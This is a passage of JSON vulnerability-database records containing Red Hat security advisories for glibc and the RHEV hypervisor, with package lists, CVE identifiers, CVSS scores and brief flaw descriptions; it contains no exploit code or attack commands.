"arch": "i386", "packageFilename": "glibc-2.3.4-2.57.i386.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i386", "packageFilename": "glibc-common-2.3.4-2.57.i386.rpm", "packageName": "glibc-common", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i386", "packageFilename": "glibc-utils-2.3.4-2.57.i386.rpm", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i386", "packageFilename": "nscd-2.3.4-2.57.i386.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "i686", "packageFilename": "nptl-devel-2.3.4-2.57.i686.rpm", "packageName": "nptl-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ia64", "packageFilename": "glibc-2.3.4-2.57.ia64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ia64", "packageFilename": "glibc-utils-2.3.4-2.57.ia64.rpm", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ia64", "packageFilename": "glibc-common-2.3.4-2.57.ia64.rpm", "packageName": "glibc-common", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ia64", "packageFilename": "glibc-devel-2.3.4-2.57.ia64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ia64", "packageFilename": "glibc-headers-2.3.4-2.57.ia64.rpm", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ia64", "packageFilename": "glibc-profile-2.3.4-2.57.ia64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ia64", "packageFilename": "nptl-devel-2.3.4-2.57.ia64.rpm", "packageName": "nptl-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ia64", "packageFilename": "nscd-2.3.4-2.57.ia64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc", "packageFilename": "glibc-2.3.4-2.57.ppc.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc", "packageFilename": "glibc-profile-2.3.4-2.57.ppc.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc", "packageFilename": "nscd-2.3.4-2.57.ppc.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc", "packageFilename": "glibc-common-2.3.4-2.57.ppc.rpm", "packageName": "glibc-common", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc", "packageFilename": "glibc-devel-2.3.4-2.57.ppc.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc", "packageFilename": "glibc-headers-2.3.4-2.57.ppc.rpm", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc", "packageFilename": "glibc-utils-2.3.4-2.57.ppc.rpm", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc", "packageFilename": "nptl-devel-2.3.4-2.57.ppc.rpm", "packageName": "nptl-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc64", "packageFilename": "glibc-devel-2.3.4-2.57.ppc64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "ppc64", "packageFilename": "glibc-2.3.4-2.57.ppc64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390", "packageFilename": "glibc-2.3.4-2.57.s390.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390", "packageFilename": "glibc-common-2.3.4-2.57.s390.rpm", "packageName": "glibc-common", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390", "packageFilename": "glibc-utils-2.3.4-2.57.s390.rpm", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390", "packageFilename": "nptl-devel-2.3.4-2.57.s390.rpm", "packageName": "nptl-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390", "packageFilename": "nscd-2.3.4-2.57.s390.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390", "packageFilename": "glibc-devel-2.3.4-2.57.s390.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390", "packageFilename": "glibc-headers-2.3.4-2.57.s390.rpm", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390", "packageFilename": "glibc-profile-2.3.4-2.57.s390.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390x", "packageFilename": "glibc-2.3.4-2.57.s390x.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390x", "packageFilename": "glibc-common-2.3.4-2.57.s390x.rpm", "packageName": "glibc-common", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390x", "packageFilename": "glibc-headers-2.3.4-2.57.s390x.rpm", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390x", "packageFilename": "glibc-profile-2.3.4-2.57.s390x.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390x", "packageFilename": "nptl-devel-2.3.4-2.57.s390x.rpm", "packageName": "nptl-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390x", "packageFilename": "glibc-devel-2.3.4-2.57.s390x.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390x", "packageFilename": "glibc-utils-2.3.4-2.57.s390x.rpm", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "any", "packageVersion": "2.3.4-2.57", "arch": "s390x", "packageFilename": "nscd-2.3.4-2.57.s390x.rpm", "packageName": "nscd", "operator": "lt"}], "description": "The glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system cannot\nfunction properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked against\nglibc, it could cause the application to crash or, potentially, execute\narbitrary code with the privileges of the user running the application.\n(CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked\nlibraries. If an attacker could trick a user into running ldd on a\nmalicious binary, it could result in arbitrary code execution with the\nprivileges of the user running ldd. (CVE-2009-5064)\n\nIt was discovered that the glibc addmntent() function, used by various\nmount helper utilities, did not sanitize its input properly. A local\nattacker could possibly use this flaw to inject malformed lines into the\nmtab (mounted file systems table) file via certain setuid mount helpers, if\nthe attacker were allowed to mount to an arbitrary directory under their\ncontrol. (CVE-2010-0296)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to crash\nor, potentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2010-0830)\n\nIt was discovered that the glibc fnmatch() function did not properly\nrestrict the use of alloca(). If the function was called on sufficiently\nlarge inputs, it could cause an application using fnmatch() to crash or,\npossibly, execute arbitrary code with the privileges of the application.\n(CVE-2011-1071)\n\nIt was found that the glibc addmntent() function, used by various mount\nhelper utilities, did not handle certain errors correctly when updating the\nmtab (mounted file systems table) file. If such utilities had the setuid\nbit set, a local attacker could use this flaw to corrupt the mtab file.\n(CVE-2011-1089)\n\nIt was discovered that the locale command did not produce properly escaped\noutput as required by the POSIX specification. If an attacker were able to\nset the locale environment variables in the environment of a script that\nperformed shell evaluation on the output of the locale command, and that\nscript were run with different privileges than the attacker's, it could\nexecute arbitrary code with the privileges of the script. (CVE-2011-1095)\n\nAn integer overflow flaw was found in the glibc fnmatch() function. If an\nattacker supplied a long UTF-8 string to an application linked against\nglibc, it could cause the application to crash. (CVE-2011-1659)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number of\nconnections to an RPC service that is using the RPC implementation from\nglibc, could use this flaw to make that service use an excessive amount of\nCPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu\nSecurity Team acknowledges Dan Rosenberg as the original reporter of\nCVE-2010-0830.\n\nThis update also fixes the following bug:\n\n* When using an nscd package that is a different version than the glibc\npackage, the nscd service could fail to start. This update makes the nscd\npackage require a specific glibc version to prevent this problem.\n(BZ#657009)\n\nUsers should upgrade to these updated packages, which resolve these issues.\n", "reporter": "RedHat", "published": "2012-02-13T05:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "redhat", "title": "(RHSA-2012:0125) Moderate: glibc security and bug fix update", "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029", "CVE-2009-5064", "CVE-2010-0296", "CVE-2010-0830", "CVE-2011-1071", "CVE-2011-1089", "CVE-2011-1095", "CVE-2011-1659", "CVE-2011-4609"], "_object_type": "robots.models.redhat.RedHatBulletin", "modified": "2017-09-08T12:12:17", "id": "RHSA-2012:0125", "href": "https://access.redhat.com/errata/RHSA-2012:0125", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-05-25T03:52:39", "_object_types": ["robots.models.redhat.RedHatBulletin", "robots.models.base.Bulletin"], "references": [], "affectedPackage": [{"OS": "RedHat", "OSVersion": "5", "packageVersion": "5.8-20120202.0.el5", "arch": "noarch", "packageName": "rhev-hypervisor5-tools", "packageFilename": "rhev-hypervisor5-tools-5.8-20120202.0.el5.noarch.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "5", "packageVersion": "5.8-20120202.0.el5", "arch": "noarch", "packageName": "rhev-hypervisor5", "packageFilename": "rhev-hypervisor5-5.8-20120202.0.el5.noarch.rpm", "operator": "lt"}], "description": "The rhev-hypervisor5 package provides a Red Hat Enterprise Virtualization\nHypervisor ISO disk image. The Red Hat Enterprise Virtualization\nHypervisor is a dedicated Kernel-based Virtual Machine (KVM) hypervisor.\nIt includes everything necessary to run and manage virtual machines: A\nsubset of the Red Hat Enterprise Linux operating environment and the Red\nHat Enterprise Virtualization Agent.\n\nNote: Red Hat Enterprise Virtualization Hypervisor is only available for\nthe Intel 64 and AMD64 architectures with virtualization extensions.\n\nA heap overflow flaw was found in the way QEMU-KVM emulated the e1000\nnetwork interface card. A privileged guest user in a virtual machine whose\nnetwork interface is configured to use the e1000 emulated driver could use\nthis flaw to crash the host or, possibly, escalate their privileges on the\nhost. (CVE-2012-0029)\n\nA divide-by-zero flaw was found in the Linux kernel's igmp_heard_query()\nfunction. An attacker able to send certain IGMP (Internet Group Management\nProtocol) packets to a target system could use this flaw to cause a denial\nof service. (CVE-2012-0207)\n\nA double free flaw was discovered in the policy checking code in OpenSSL.\nA remote attacker could use this flaw to crash an application that uses\nOpenSSL by providing an X.509 certificate that has specially-crafted\npolicy extension data. (CVE-2011-4109)\n\nAn information leak flaw was found in the SSL 3.0 protocol implementation\nin OpenSSL. Incorrect initialization of SSL record padding bytes could\ncause an SSL client or server to send a limited amount of possibly\nsensitive data to its SSL peer via the encrypted connection.\n(CVE-2011-4576)\n\nIt was discovered that OpenSSL did not limit the number of TLS/SSL\nhandshake restarts required to support Server Gated Cryptography. A remote\nattacker could use this flaw to make a TLS/SSL server using OpenSSL consume\nan excessive amount of CPU by continuously restarting the handshake.\n(CVE-2011-4619)\n\nRed Hat would like to thank Nicolae Mogoreanu for reporting CVE-2012-0029,\nand Simon McVittie for reporting CVE-2012-0207.\n\nThis updated package provides updated components that include fixes for\nvarious security issues. These issues have no security impact on Red Hat\nEnterprise Virtualization Hypervisor itself, however. The security fixes\nincluded in this update address the following CVE numbers:\n\nCVE-2006-1168 and CVE-2011-2716 (busybox issues)\n\nCVE-2009-5029, CVE-2009-5064, CVE-2010-0830 and CVE-2011-1089 (glibc\nissues)\n\nCVE-2011-1083, CVE-2011-3638, CVE-2011-4086, CVE-2011-4127 and\nCVE-2012-0028 (kernel issues)\n\nCVE-2011-1526 (krb5 issue)\n\nCVE-2011-4347 (kvm issue)\n\nCVE-2010-4008, CVE-2011-0216, CVE-2011-2834, CVE-2011-3905, CVE-2011-3919\nand CVE-2011-1944 (libxml2 issues)\n\nCVE-2011-1749 (nfs-utils issue)\n\nCVE-2011-4108 (openssl issue)\n\nCVE-2011-0010 (sudo issue)\n\nCVE-2011-1675 and CVE-2011-1677 (util-linux issues)\n\nCVE-2010-0424 (vixie-cron issue)\n\nThis updated rhev-hypervisor5 package fixes various bugs. Documentation of\nthese changes will be available shortly in the Technical Notes document:\n\nhttps://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Virtualization_for_Servers/2.2/html/Technical_Notes/index.html\n\nUsers of Red Hat Enterprise Virtualization Hypervisor are advised to\nupgrade to this updated package, which fixes these issues.\n", "reporter": "RedHat", "published": "2012-02-21T05:00:00", "type": "redhat", "title": "(RHSA-2012:0168) Important: rhev-hypervisor5 security and bug fix update", "enchantments": {"score": {"modified": "2018-05-25T03:52:39", "vector": "NONE", "value": 7.5}}, "bulletinFamily": "unix", "cvelist": ["CVE-2006-1168", "CVE-2009-5029", "CVE-2009-5064", "CVE-2010-0424", "CVE-2010-0830", "CVE-2010-4008", "CVE-2011-0010", "CVE-2011-0216", "CVE-2011-1083", "CVE-2011-1089", "CVE-2011-1526", "CVE-2011-1675", "CVE-2011-1677", "CVE-2011-1749", "CVE-2011-1944", "CVE-2011-2716", "CVE-2011-2834", "CVE-2011-3638", "CVE-2011-3905", "CVE-2011-3919", "CVE-2011-4086", "CVE-2011-4108", "CVE-2011-4109", "CVE-2011-4127", "CVE-2011-4347", "CVE-2011-4576", "CVE-2011-4619", "CVE-2012-0028", "CVE-2012-0029", "CVE-2012-0207"], "_object_type": "robots.models.redhat.RedHatBulletin", "modified": "2018-05-25T06:35:47", "id": "RHSA-2012:0168", "href": "https://access.redhat.com/errata/RHSA-2012:0168", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-06-06T18:05:27", "_object_types": ["robots.models.redhat.RedHatBulletin", "robots.models.base.Bulletin"], "references": [], "affectedPackage": [{"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "src", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6.src.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "nscd", "packageFilename": "nscd-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "glibc-common", "packageFilename": "glibc-common-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "i686", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.12-1.47.el6.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "glibc-common", "packageFilename": "glibc-common-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "x86_64", "packageName": "nscd", "packageFilename": "nscd-2.12-1.47.el6.x86_64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "glibc-common", "packageFilename": "glibc-common-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6.ppc.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "ppc64", "packageName": "nscd", "packageFilename": "nscd-2.12-1.47.el6.ppc64.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "glibc-static", "packageFilename": "glibc-static-2.12-1.47.el6.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "glibc", "packageFilename": "glibc-2.12-1.47.el6.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "glibc-common", "packageFilename": "glibc-common-2.12-1.47.el6.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6.s390.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.12-1.47.el6.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "glibc-headers", "packageFilename": "glibc-headers-2.12-1.47.el6.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "glibc-utils", "packageFilename": "glibc-utils-2.12-1.47.el6.s390x.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6", "arch": "s390x", "packageName": "nscd", "packageFilename": "nscd-2.12-1.47.el6.s390x.rpm", "operator": "lt"}], "description": "The glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nA flaw was found in the way the ldd utility identified dynamically linked\nlibraries. If an attacker could trick a user into running ldd on a\nmalicious binary, it could result in arbitrary code execution with the\nprivileges of the user running ldd. (CVE-2009-5064)\n\nIt was found that the glibc addmntent() function, used by various mount\nhelper utilities, did not handle certain errors correctly when updating the\nmtab (mounted file systems table) file. If such utilities had the setuid\nbit set, a local attacker could use this flaw to corrupt the mtab file.\n(CVE-2011-1089)\n\nRed Hat would like to thank Dan Rosenberg for reporting the CVE-2011-1089\nissue.\n\nThis update also fixes several bugs and adds various enhancements.\nDocumentation for these bug fixes and enhancements will be available\nshortly from the Technical Notes document, linked to in the References\nsection.\n\nUsers are advised to upgrade to these updated glibc packages, which contain\nbackported patches to resolve these issues and add these enhancements.\n", "reporter": "RedHat", "published": "2011-12-06T05:00:00", "type": "redhat", "title": "(RHSA-2011:1526) Low: glibc security, bug fix, and enhancement update", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "bulletinFamily": "unix", "cvelist": ["CVE-2009-5064", "CVE-2011-1089"], "_object_type": "robots.models.redhat.RedHatBulletin", "modified": "2018-06-06T20:24:09", "id": "RHSA-2011:1526", "href": "https://access.redhat.com/errata/RHSA-2011:1526", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "ubuntu": [{"lastseen": "2018-03-29T18:19:28", "references": ["https://people.canonical.com/~ubuntu-security/cve/CVE-2012-0864", "https://people.canonical.com/~ubuntu-security/cve/CVE-2011-2702", "https://people.canonical.com/~ubuntu-security/cve/CVE-2010-0015", "https://people.canonical.com/~ubuntu-security/cve/CVE-2011-1071", "https://people.canonical.com/~ubuntu-security/cve/CVE-2011-4609", "https://people.canonical.com/~ubuntu-security/cve/CVE-2009-5029", "https://people.canonical.com/~ubuntu-security/cve/CVE-2011-1659", "https://people.canonical.com/~ubuntu-security/cve/CVE-2011-1658", "https://people.canonical.com/~ubuntu-security/cve/CVE-2011-1089", "https://people.canonical.com/~ubuntu-security/cve/CVE-2011-1095"], "affectedPackage": [{"OS": "Ubuntu", "OSVersion": "10.10", "packageVersion": "2.12.1-0ubuntu10.4", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "10.04", "packageVersion": "2.11.1-0ubuntu7.10", "arch": "noarch", "packageName": "libc-bin", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "10.04", "packageVersion": "2.11.1-0ubuntu7.10", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "10.10", "packageVersion": "2.12.1-0ubuntu10.4", "arch": "noarch", "packageName": "libc-bin", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "8.04", "packageVersion": "2.7-10ubuntu8.1", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "11.04", "packageVersion": "2.13-0ubuntu13.1", "arch": "noarch", "packageName": "libc6", "packageFilename": "UNKNOWN", "operator": "lt"}, {"OS": "Ubuntu", "OSVersion": "11.10", "packageVersion": "2.13-20ubuntu5.1", "arch": "noarch", 